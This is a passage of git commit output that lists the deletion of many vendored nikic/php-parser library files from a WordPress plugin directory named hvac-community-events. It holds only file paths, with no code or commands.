wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/bin/php-parse delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/ClassConst.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Class_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Declaration.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/EnumCase.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Enum_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/FunctionLike.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Function_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Interface_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Method.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Namespace_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Param.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Property.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/TraitUse.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/TraitUseAdaptation.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Trait_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Use_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/BuilderFactory.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/BuilderHelpers.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Comment.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Comment/Doc.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/ConstExprEvaluationException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/ConstExprEvaluator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Error.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/ErrorHandler.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/ErrorHandler/Collecting.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/ErrorHandler/Throwing.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Internal/DiffElem.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Internal/Differ.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Internal/PrintableNewAnonClassNode.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Internal/TokenPolyfill.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Internal/TokenStream.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/JsonDecoder.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/Emulative.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/AsymmetricVisibilityTokenEmulator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/AttributeEmulator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/EnumTokenEmulator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/ExplicitOctalEmulator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/KeywordEmulator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/MatchTokenEmulator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/NullsafeTokenEmulator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/PropertyTokenEmulator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/ReadonlyFunctionTokenEmulator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/ReadonlyTokenEmulator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/ReverseEmulator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/TokenEmulator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Modifiers.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NameContext.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Arg.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/ArrayItem.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Attribute.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/AttributeGroup.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/ClosureUse.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/ComplexType.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Const_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/DeclareItem.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ArrayDimFetch.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ArrayItem.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Array_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ArrowFunction.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Assign.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/AssignOp.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/AssignOp/BitwiseAnd.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/AssignOp/BitwiseOr.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/AssignOp/BitwiseXor.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/AssignOp/Coalesce.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/AssignOp/Concat.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/AssignOp/Div.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/AssignOp/Minus.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/AssignOp/Mod.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/AssignOp/Mul.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/AssignOp/Plus.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/AssignOp/Pow.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/AssignOp/ShiftLeft.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/AssignOp/ShiftRight.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/AssignRef.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/BitwiseAnd.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/BitwiseOr.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/BitwiseXor.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/BooleanAnd.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/BooleanOr.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/Coalesce.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/Concat.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/Div.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/Equal.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/Greater.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/GreaterOrEqual.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/Identical.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/LogicalAnd.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/LogicalOr.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/LogicalXor.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/Minus.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/Mod.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/Mul.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/NotEqual.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/NotIdentical.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/Plus.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/Pow.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/ShiftLeft.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/ShiftRight.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/Smaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/SmallerOrEqual.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/Spaceship.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BitwiseNot.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BooleanNot.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/CallLike.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Cast.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Cast/Array_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Cast/Bool_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Cast/Double.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Cast/Int_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Cast/Object_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Cast/String_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Cast/Unset_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ClassConstFetch.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Clone_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Closure.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ClosureUse.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ConstFetch.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Empty_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Error.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ErrorSuppress.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Eval_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Exit_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/FuncCall.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Include_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Instanceof_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Isset_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/List_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Match_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/MethodCall.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/New_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/NullsafeMethodCall.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/NullsafePropertyFetch.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/PostDec.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/PostInc.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/PreDec.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/PreInc.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Print_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/PropertyFetch.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ShellExec.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/StaticCall.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/StaticPropertyFetch.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Ternary.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Throw_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/UnaryMinus.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/UnaryPlus.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Variable.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/YieldFrom.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Yield_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/FunctionLike.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Identifier.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/InterpolatedStringPart.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/IntersectionType.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/MatchArm.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Name.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Name/FullyQualified.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Name/Relative.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/NullableType.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Param.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/PropertyHook.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/PropertyItem.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/DNumber.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/Encapsed.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/EncapsedStringPart.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/Float_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/Int_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/InterpolatedString.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/LNumber.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/MagicConst.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/MagicConst/Class_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/MagicConst/Dir.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/MagicConst/File.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/MagicConst/Function_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/MagicConst/Line.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/MagicConst/Method.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/MagicConst/Namespace_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/MagicConst/Property.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/MagicConst/Trait_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/String_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/StaticVar.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Block.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Break_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Case_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Catch_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/ClassConst.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/ClassLike.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/ClassMethod.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Class_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Const_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Continue_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/DeclareDeclare.php delete mode 100644 